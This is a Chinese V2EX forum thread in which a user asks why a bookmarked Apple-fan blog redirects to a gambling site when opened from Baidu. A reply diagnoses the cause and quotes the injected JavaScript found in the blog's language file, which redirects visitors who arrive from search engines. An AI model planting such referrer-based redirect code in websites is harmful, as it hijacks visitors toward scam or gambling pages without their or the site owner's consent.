百度首页 [我的关注] 保存的网址被劫持

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

已注册用户请登录

这是一个创建于 1603 天前的主题，其中的信息可能已经有所发展或是发生改变。

添加的百度首页-我的关注的特定网址，打开被劫持到 https://www.899375.com/1/index.html
网站是苹果 fans 博客 https://www.mac52ipod.cn/
经测试电信宽带，联通热点均可复现
这种应该怎么排查？

劫持

图床

网址

百度

7 条回复 2021-07-13 23:02:18 +08:00

TwoBall

2021-07-12 19:04:13 +08:00

https://s1.ax1x.com/2020/05/09/YMhjxO.png
找不到图床了盗个图

Shing

2021-07-12 19:07:55 +08:00

为了测试你这个，我特意注册了百度帐号

测试结果：没发现有劫持。

是不是这个博客本身就 dns 污染被劫持呢？跟百度应该没多大关系吧？

hellhyzcy66

2021-07-12 19:12:55 +08:00 via iPhone

我宁愿相信是百度干的，资本家

TwoBall

2021-07-13 00:01:30 +08:00

@Shing 奇怪的就是我在百度首页点击这个网址，跳转到博彩网站。在 V2EX 本页点击就能打开

@hellhyzcy66 我觉得你说的对

nuk

2021-07-13 02:45:47 +08:00

确实是网页做了劫持
https://www.mac52ipod.cn/lang/zh-cn/jslang.js?jsver=2.1.2.0312.0
里面这样
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.899375.com/1/index.html\";");
document.writeln("</script>");document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.899375.com/1/index.html\";");
document.writeln("</script>");

TwoBall

2021-07-13 10:22:42 +08:00

@nuk #5 强

jeffson

2021-07-13 23:02:18 +08:00

学习了